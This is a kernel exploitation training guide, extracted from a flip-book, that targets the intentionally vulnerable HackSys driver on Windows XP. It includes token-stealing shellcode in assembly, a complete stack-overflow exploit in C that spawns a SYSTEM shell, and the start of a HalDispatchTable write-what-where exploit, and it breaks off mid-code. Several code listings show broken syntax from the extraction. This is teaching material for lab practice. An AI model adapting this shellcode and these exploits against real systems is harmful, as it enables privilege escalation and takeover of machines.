Hacking Training
2jPu93h
2jPu93h
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
<strong>Hacking</strong> <strong>Training</strong><br />
Windows Kernel Exploitation<br />
v. 1.0<br />
Simone Cardona<br />
OSCP, OSCE<br />
www.hacking-training.com
Index<br />
Windows XP 32bit.......................................................................................................................................... 3<br />
Setting Up Lab............................................................................................................................................ 3<br />
Introducing HackSys Extreme Vulnerable Windows Driver ...................................................................... 6<br />
Kernel Internals ......................................................................................................................................... 6<br />
Access Token ............................................................................................................................................. 6<br />
Token Stealing Payload .............................................................................................................................. 8<br />
Stack Overflow ......................................................................................................................................... 10<br />
Arbitrary Memory Overwrite (Write-What-Where) ................................................................................ 18<br />
Get HalDispatchTable base address ........................................................................................................ 20<br />
Exploitation .............................................................................................................................................. 21<br />
Windows 7 32bit .......................................................................................................................................... 28<br />
Setting Up Lab.......................................................................................................................................... 28<br />
Changing Token Stealing Payload ............................................................................................................ 28<br />
Kernel Pool Internals ............................................................................................................................... 29<br />
Kernel Pool Layout ................................................................................................................................... 31<br />
Pool Feng Shui ......................................................................................................................................... 34<br />
Exploitation .............................................................................................................................................. 35<br />
www.hacking-training.com 1
www.hacking-training.com 2
Windows XP 32bit<br />
Setting Up Lab<br />
The first step is to configure all the working environment in order to be ready to exploit a specific kernel<br />
version.<br />
We will consider as Virtual Environment Software, VMware on a Windows 10 machine.<br />
As Virtual machine You need to install, in order to follow all the steps of this guide, Windows XP SP3 32bit.<br />
Into this machine the first thing to do is to modify the boot.ini file into the C:\ folder.<br />
Under the [operating systems] line You need to add at the end of line the following piece:<br />
www.hacking-training.com 3
Another essential step is to enable the Serial Port on VMware:<br />
Go to Settings->Add->Serial Port and follow the steps adding the following settings:<br />
Now You need to install WinDbg (x86) that You can easily find on the net.<br />
Go to File->Kernel Debug->COM and add the following settings:<br />
www.hacking-training.com 4
At this point, if you have already started the Windows XP You need to restart it…and You will have WinDbg<br />
connected to the VM.<br />
You can easily check this, infact It will be showed the string “Connected to Windows XP 2600 x86 ….”<br />
As last step You need to install Microsoft Visual C++ 2010 Express in order to compile the Exploit.<br />
www.hacking-training.com 5
Introducing HackSys Extreme Vulnerable Windows Driver<br />
From the Hacksys github readme file We get:<br />
“HackSys Extreme Vulnerable Driver is intentionally vulnerable Windows driver developed for security<br />
enthusiasts to learn and polish their exploitation skills at Kernel level.”<br />
You can get it from https://github.com/hacksysteam/HackSysExtremeVulnerableDriver.git<br />
At this point We need to register the driver and also to start the service.<br />
In order to accomplish this task You could use OSR Loader that you can find online after a short<br />
registration.<br />
Kernel Internals<br />
We can start looking at API DeviceIocontrol()<br />
BOOL WINAPI DeviceIoControl(<br />
_In_ HANDLE hDevice,<br />
_In_ DWORD dwIoControlCode,<br />
_In_opt_ LPVOID lpInBuffer,<br />
_In_ DWORD nInBufferSize,<br />
_Out_opt_ LPVOID lpOutBuffer,<br />
_In_ DWORD nOutBufferSize,<br />
_Out_opt_ LPDWORD lpBytesReturned,<br />
_Inout_opt_ LPOVERLAPPED lpOverlapped<br />
);<br />
The important parameters are the device driver HANDLE, the I/O control code and also the addresses of<br />
input and output buffers.<br />
When this API is called, the I/O Manager makes an IRP (I/O Request Packet) request and delivers it to the<br />
device driver.<br />
There are also three types of data transfer mechanism: Buffered I/O, Direct I/O and Neither Buffered nor<br />
Direct I/O.<br />
Access Token<br />
Every running process has an access token, a set of information that describes the privileges of it.<br />
The first essential step to understand this concept is to find the token associated with the process; this<br />
operation involves locating the EPROCESS structure.<br />
Let’s consider that We have the debugger connected in kernel mode, so let’s run the following command:<br />
>!process 0 0<br />
www.hacking-training.com 6
This command serves to find the token address inside the EPROCESS structure.<br />
www.hacking-training.com 7
Token Stealing Payload<br />
This technique consists in exchanging of the target process’s access token with the access token of a more<br />
privileged process.<br />
Let’s look how this shellcode appear:<br />
VOID TokenStealingShellcodeWin() {<br />
__asm {<br />
pushad ;(1)<br />
mov eax, fs:[KTHREAD_OFFSET] ; (2)<br />
mov eax, [eax + EPROCESS_OFFSET]<br />
mov ecx, eax<br />
mov ebx, [eax + TOKEN_OFFSET]<br />
mov edx, SYSTEM_PID<br />
SearchSystemPID:<br />
mov eax, [eax + FLINK_OFFSET]<br />
sub eax, FLINK_OFFSET<br />
cmp[eax + PID_OFFSET], edx<br />
jne SearchSystemPID<br />
mov edx, [eax + TOKEN_OFFSET]<br />
mov[ecx + TOKEN_OFFSET], edx<br />
popad<br />
}<br />
}<br />
xor eax, eax<br />
add esp, 12<br />
pop ebp<br />
ret 8<br />
1) The first step is to save the driver registers so We can restore them later.<br />
2) Now the second step is to find the target process’s EPROCESS structure<br />
It’s possible to find this structure looking at the KPRCB (Kernel Processor Control Block), that holds a<br />
reference to the ETHREAD structure which holds a reference to the current EPROCESS structure.<br />
In order to well understand these steps I’ll use the Windows API to inspect some process internals.<br />
The API PsGetCurrentProcess() is used to get the process object within the EPROCESS structure.<br />
So let’s analyze how this API do this job:<br />
www.hacking-training.com 8
But wait…these instructions are familiar to us, infact these are the first two instructions of our shellcode!<br />
Now We have found the KTHREAD_OFFSET (0x124) and also the EPROCESS_OFFSET (0x044).<br />
Let’s continue this process, this time viewing the entire EPROCESS structure:<br />
>dt –b –v _EPROCESS<br />
Here We find the others elements:<br />
TOKEN_OFFSET (0x0c8)<br />
SYSTEM_PID (0x004), is the pid of process with NT AUTHORITY/SISTEM<br />
FLINK_OFFSET (0x088)<br />
PID_OFFSET (0x084)<br />
Now We are ready to write our C code:<br />
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread<br />
www.hacking-training.com 9
#define EPROCESS_OFFSET 0x044 // nt!_KTHREAD.ApcState.Process<br />
#define PID_OFFSET 0x084 // nt!_EPROCESS.UniqueProcessId<br />
#define FLINK_OFFSET 0x088 // nt!_EPROCESS.ActiveProcessLinks.Flink<br />
#define TOKEN_OFFSET 0x0c8 // nt!_EPROCESS.Token<br />
#define SYSTEM_PID 0x004 // SYSTEM Process PID<br />
VOID TokenStealingShellcodeWin() {<br />
__asm {<br />
pushad ;(1)<br />
mov eax, fs:[KTHREAD_OFFSET] ; (2)<br />
mov eax, [eax + EPROCESS_OFFSET]<br />
mov ecx, eax<br />
mov ebx, [eax + TOKEN_OFFSET]<br />
mov edx, SYSTEM_PID<br />
SearchSystemPID:<br />
mov eax, [eax + FLINK_OFFSET]<br />
sub eax, FLINK_OFFSET<br />
cmp[eax + PID_OFFSET], edx<br />
jne SearchSystemPID<br />
mov edx, [eax + TOKEN_OFFSET]<br />
mov[ecx + TOKEN_OFFSET], edx<br />
popad<br />
}<br />
}<br />
xor eax, eax<br />
add esp, 12<br />
pop ebp<br />
ret 8<br />
Stack Overflow<br />
This kind of vulnerability should be familiar.<br />
It have the same steps to the user application exploitation.<br />
Attach WinDbg to the WinXP VM and let’s start crashing it with this code:<br />
#include "stdafx.h"<br />
#include <br />
#include <br />
www.hacking-training.com 10
#include <br />
#include <br />
//Definition taken from HackSysExtremeVulnerableDriver.h<br />
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,<br />
METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)<br />
int _tmain(int argc, _TCHAR* argv[])<br />
{<br />
DWORD lpBytesReturned;<br />
PVOID pMemoryAddress = NULL;<br />
PULONG lpInBuffer = NULL;<br />
LPCSTR lpDeviceName = (LPCSTR) "\\\\.\\HackSysExtremeVulnerableDriver";<br />
SIZE_T nInBufferSize = 1024 * sizeof(ULONG);<br />
printf("Getting the device handle\r\n");<br />
HANDLE hDriver = CreateFile(lpDeviceName,<br />
GENERIC_READ | GENERIC_WRITE,<br />
FILE_SHARE_READ | FILE_SHARE_WRITE,<br />
NULL<br />
OPEN_EXISTING,<br />
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED<br />
NULL<br />
if (hDriver == INVALID_HANDLE_VALUE) {<br />
printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />
return 1;<br />
}<br />
printf("Got the device Handle: 0x%X\r\n", hDriver);<br />
printf("Allocating Memory For Input Buffer\r\n");<br />
lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,<br />
nInBufferSize);<br />
if (!lpInBuffer) {<br />
printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());<br />
return 1;<br />
}<br />
printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);<br />
printf("Input buffer address: 0x%p\r\n", lpInBuffer);<br />
printf("Filling buffer with A's\r\n");<br />
RtlFillMemory((PVOID)lpInBuffer, nInBufferSize, 0x41);<br />
printf("Sending IOCTL request\r\n");<br />
DeviceIoControl(hDriver,<br />
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,<br />
(LPVOID)lpInBuffer,<br />
(DWORD)nInBufferSize,<br />
NULL,<br />
0,<br />
&lpBytesReturned,<br />
NULL);<br />
www.hacking-training.com 11
}<br />
printf("IOCTL request completed, cleaning up da heap.\r\n");<br />
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);<br />
return 0;<br />
Take some time to understand it, it’s simple.<br />
First of all We get the device handle via CreateFile() API, then We zero out the buffer nInBufferSize, next<br />
We fill the buffer with 1024 “A” == 0x41 and finally We send this buffer to the driver handle via<br />
DeviceIoControl() API.<br />
Now the EIP is equal to 41414141 and also EBP, use Kali Linux 2.0 or also mona to create a cyclic pattern:<br />
#locate pattern_create<br />
#/usr/share/metasploit-framework/tools/exploit/pattern_create.rb –l 3056<br />
Now We need to modify the exploit.cpp:<br />
#include "stdafx.h"<br />
#include <br />
#include <br />
#include <br />
#include <br />
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,<br />
METHOD_NEITHER, FILE_ANY_ACCESS)<br />
int _tmain(int argc, _TCHAR* argv[])<br />
{<br />
DWORD lpBytesReturned;<br />
PVOID pMemoryAddress = NULL;<br />
PULONG lpInBuffer = NULL;<br />
LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";<br />
SIZE_T nInBufferSize = 768 * sizeof(ULONG);<br />
printf("Getting device handle\n");<br />
HANDLE hDriver = CreateFile(lpDeviceName,<br />
GENERIC_READ | GENERIC_WRITE,<br />
FILE_SHARE_READ | FILE_SHARE_WRITE,<br />
NULL,<br />
OPEN_EXISTING,<br />
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,<br />
NULL);<br />
www.hacking-training.com 12
}<br />
if (hDriver == INVALID_HANDLE_VALUE) {<br />
printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />
return 1;<br />
printf("Got the device Handle: 0x%X\r\n", hDriver);<br />
printf("Allocating Memory For Input Buffer\r\n");<br />
lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);<br />
if (!lpInBuffer) {<br />
printf("HeapAlloc failed :( 0x%X\r\n", GetLastError());<br />
return 1;<br />
}<br />
printf("Input buffer allocated as 0x%X bytes.\r\n", nInBufferSize);<br />
printf("Input buffer address: 0x%p\r\n", lpInBuffer);<br />
printf("Filling buffer with A's\r\n");<br />
char *pattern =<br />
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac<br />
7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5<br />
Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4<br />
Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5A<br />
l6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1A<br />
o2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8A<br />
q9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8A<br />
t9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5A<br />
w6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3A<br />
z4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2<br />
Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf<br />
1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0<br />
Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2<br />
Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B<br />
o0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7<br />
Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt<br />
8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5<br />
Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz<br />
4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2C<br />
c3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1<br />
Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci<br />
1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3<br />
Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0C<br />
o1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8<br />
www.hacking-training.com 13
Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9<br />
Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6C<br />
w7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5C<br />
z6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc<br />
3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df<br />
0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh<br />
8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8<br />
Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn<br />
5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1<br />
Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9D<br />
t0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7D<br />
v8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx";<br />
memcpy(lpInBuffer, pattern, nInBufferSize);<br />
printf("Sending IOCTL request\r\n");<br />
DeviceIoControl(hDriver,<br />
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,<br />
(LPVOID)lpInBuffer,<br />
(DWORD)nInBufferSize,<br />
NULL,<br />
0,<br />
&lpBytesReturned,<br />
NULL);<br />
}<br />
printf("IOCTL request completed, cleaning up da heap.\r\n");<br />
HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);<br />
return 0;<br />
www.hacking-training.com 14
After We have run the exploit We need to get the offset to EIP:<br />
#/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb –l 3056 –q 72433372<br />
[*] Exact match at offset 2080<br />
So now We have all the information to write the final working exploit: (I’ll explain soon)<br />
#include "stdafx.h"<br />
#include <br />
#include <br />
#include <br />
#include <br />
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800,<br />
METHOD_NEITHER, FILE_ANY_ACCESS)<br />
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread<br />
#define EPROCESS_OFFSET 0x044 // nt!_KTHREAD.ApcState.Process<br />
#define PID_OFFSET 0x084 // nt!_EPROCESS.UniqueProcessId<br />
#define FLINK_OFFSET 0x088 // nt!_EPROCESS.ActiveProcessLinks.Flink<br />
#define TOKEN_OFFSET 0x0c8 // nt!_EPROCESS.Token<br />
#define SYSTEM_PID 0x004 // SYSTEM Process PID<br />
www.hacking-training.com 15
VOID TokenStealingShellcodeWin() {<br />
__asm {<br />
pushad<br />
mov eax, fs:[KTHREAD_OFFSET]<br />
mov eax, [eax + EPROCESS_OFFSET]<br />
mov ecx, eax<br />
mov ebx, [eax + TOKEN_OFFSET]<br />
mov edx, SYSTEM_PID<br />
SearchSystemPID:<br />
mov eax, [eax + FLINK_OFFSET]<br />
sub eax, FLINK_OFFSET<br />
cmp[eax + PID_OFFSET], edx<br />
jne SearchSystemPID<br />
mov edx, [eax + TOKEN_OFFSET]<br />
mov[ecx + TOKEN_OFFSET], edx<br />
popad<br />
}<br />
}<br />
; recovery<br />
xor eax, eax; Set NTSTATUS SUCCEESS<br />
add esp, 12; fix the stack<br />
pop ebp<br />
ret 8<br />
int _tmain(int argc, _TCHAR* argv[])<br />
{<br />
DWORD lpBytesReturned;<br />
PVOID pMemoryAddress = NULL;<br />
PULONG lpInBuffer = NULL;<br />
LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";<br />
printf("Getting device handle\n");<br />
HANDLE hDriver = CreateFile(lpDeviceName,<br />
GENERIC_READ | GENERIC_WRITE,<br />
FILE_SHARE_READ | FILE_SHARE_WRITE,<br />
www.hacking-training.com 16
NULL,<br />
OPEN_EXISTING,<br />
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,<br />
NULL);<br />
}<br />
if (hDriver == INVALID_HANDLE_VALUE) {<br />
printf("Failed to get device handle :( 0x%X\r\n", GetLastError());<br />
return 1;<br />
printf("Got the device Handle: 0x%X\r\n", hDriver);<br />
printf("Allocating Memory For Input Buffer\r\n");<br />
printf("Filling buffer with A's\r\n");<br />
printf("Payload at: %p\n", TokenStealingShellcodeWin);<br />
CHAR *chBuffer;<br />
chBuffer = (CHAR *)malloc(2084);<br />
printf("Buffer at: %p\n", &chBuffer);<br />
memset(chBuffer, 0x41, 2048);<br />
memset(chBuffer +2048, 0x42, 32);<br />
chBuffer[2080] = (DWORD)&TokenStealingShellcodeWin & 0x000000FF;<br />
chBuffer[2080 + 1] = ((DWORD)&TokenStealingShellcodeWin & 0x0000FF00) >> 8;<br />
chBuffer[2080 + 2] = ((DWORD)&TokenStealingShellcodeWin & 0x00FF0000) >> 16;<br />
chBuffer[2080 + 3] = ((DWORD)&TokenStealingShellcodeWin & 0xFF000000) >> 24;<br />
printf("Sending IOCTL request\r\n");<br />
DeviceIoControl(hDriver,<br />
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,<br />
chBuffer, 2084,<br />
NULL,<br />
0,<br />
&lpBytesReturned,<br />
NULL);<br />
system("cmd.exe");<br />
www.hacking-training.com 17
printf("IOCTL request completed, cleaning up da heap.\r\n");<br />
}<br />
CloseHandle(hDriver);<br />
return 0;<br />
Ok…now I’ll explain the essential step:<br />
First of all We are communicating with the driver via CreateFile API, then We are allocating a buffer of 2080<br />
followed by the address of our Function. Finally We are sending this crafted buffer to the driver.<br />
Arbitrary Memory Overwrite (Write-What-Where)<br />
In this kind of vulnerability the driver writes an arbitrary value into kernel-land. So We are able to overwrite<br />
a Kernel address with our specific address.<br />
In this case the driver takes two pointers: one suggest what the driver will write to memory and the other<br />
where the driver will write.<br />
So now the question is…what address are We going to overwrite? This address should be executed!<br />
We can overwrite a Kernel dispatch table pointer, the HalDispatchTable that holds function pointers.<br />
HAL means Hardware Abstraction Layer.<br />
www.hacking-training.com 18
The first essential step is to find the base address of HalDispatchTable; then We need to find a function<br />
pointer that We can overwrite and that is also called by a user-land routine.<br />
The second function pointer of the HalDispatchTable is called by the NtQueryIntervalProfile() API, so We<br />
only need to overwrite it with our arbitrary value.<br />
The function above cited call KeQueryIntervalProfile()which call HalDispatchTable+4.<br />
Let’s analyze the vulnerable source code:<br />
DbgPrint("[+] Triggering Arbitrary Overwrite\n");<br />
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability<br />
// because the developer is writing the value pointed by 'What' to memory location<br />
// pointed by 'Where' without properly validating if the values pointed by 'Where'<br />
// and 'What' resides in User mode<br />
*(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);<br />
The comments are self-explanatory.<br />
www.hacking-training.com 19
We can see that the Driver Function expect the following structure:<br />
typedef struct _WRITE_WHAT_WHERE {<br />
PULONG What;<br />
PULONG Where;<br />
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;<br />
So We can easily copy this piece of code and reuse it into our exploit!<br />
Let’s start writing our exploit.<br />
The first thing to do is get the IOCTL code from HackSysExtremeVulnerableDriver.h<br />
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802,<br />
METHOD_NEITHER, FILE_ANY_ACCESS)<br />
Now We need to obtain the HalDispatchTable base address…<br />
Get HalDispatchTable base address<br />
In order to accomplish this task We need to follow these steps:<br />
(Taken from www.dimitrifourny.com and from<br />
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/)<br />
1. Load ntoskrnl.exe with LoadLibrary (because HalDispatchTable is exported by this exe)<br />
2. Use GetProcAddress to find HalDispatchTable address<br />
3. Search the image base address of ntoskrnl with NtQuerySystemInformation<br />
4. Obtain the final address with a calculation:<br />
HalDispatchTable address – ntoskrnl userland address + ntoskrnl base address in kernelland<br />
We will write a function to accomplish this task:<br />
Step 1 and 2:<br />
PVOID ntoskrnl = LoadLibrary("ntoskrnl.exe");<br />
PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");<br />
Step 3:<br />
typedef enum {<br />
SystemBasicInformation,<br />
SystemProcessorInformation,<br />
SystemPerformanceInformation,<br />
www.hacking-training.com 20
SystemTimeOfDayInformation,<br />
SystemPathInformation,<br />
SystemProcessInformation,<br />
SystemCallCountInformation,<br />
SystemDeviceInformation,<br />
SystemProcessorPerformanceInformation,<br />
SystemFlagsInformation,<br />
SystemCallTimeInformation,<br />
SystemModuleInformation<br />
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;<br />
typedef struct<br />
{<br />
ULONG ModulesCount;<br />
SYSTEM_MODULE Modules[0];<br />
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;<br />
DWORD sizeInfo = 0;<br />
PSYSTEM_MODULE_INFORMATION moduleList = NULL;<br />
PVOID kernelBase = NULL;<br />
ntdll = GetModuleHandle("ntdll.dll");<br />
_NtQuerySystemInformation NtQuerySystemInformation = GetProcAddress(ntdll,<br />
"NtQuerySystemInformation");<br />
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &sizeInfo);<br />
moduleList = (PSYSTEM_MODULE_INFORMATION) malloc(sizeInfo);<br />
error = NtQuerySystemInformation(SystemModuleInformation, moduleList, sizeInfo,<br />
NULL);<br />
kernelBase = moduleList->Modules[0].ImageBaseAddress;<br />
free(moduleList);<br />
Step 4:<br />
HalDispatchTable = (DWORD) HalDispatchTable - (DWORD) ntoskrnl + (DWORD)<br />
kernelBase;<br />
Exploitation<br />
Here You’ll note that there are some modifications regard the above code:<br />
#include "stdafx.h"<br />
#include <br />
#include <br />
#include <br />
#include <br />
www.hacking-training.com 21
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802,<br />
METHOD_NEITHER, FILE_ANY_ACCESS)<br />
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread<br />
#define EPROCESS_OFFSET 0x044 // nt!_KTHREAD.ApcState.Process<br />
#define PID_OFFSET 0x084 // nt!_EPROCESS.UniqueProcessId<br />
#define FLINK_OFFSET 0x088 // nt!_EPROCESS.ActiveProcessLinks.Flink<br />
#define TOKEN_OFFSET 0x0c8 // nt!_EPROCESS.Token<br />
#define SYSTEM_PID 0x004 // SYSTEM Process PID<br />
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)<br />
VOID TokenStealingShellcodeWin() {<br />
__asm {<br />
; initialize<br />
pushad; save registers state<br />
mov eax, fs:[KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread<br />
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process<br />
mov ecx, eax; Copy current _EPROCESS structure<br />
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token<br />
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4<br />
SearchSystemPID:<br />
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink<br />
sub eax, FLINK_OFFSET<br />
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId<br />
jne SearchSystemPID<br />
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token<br />
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM<br />
; to current process<br />
popad; restore registers state<br />
}<br />
}<br />
typedef struct _WRITE_WHAT_WHERE {<br />
PULONG What;<br />
PULONG Where;<br />
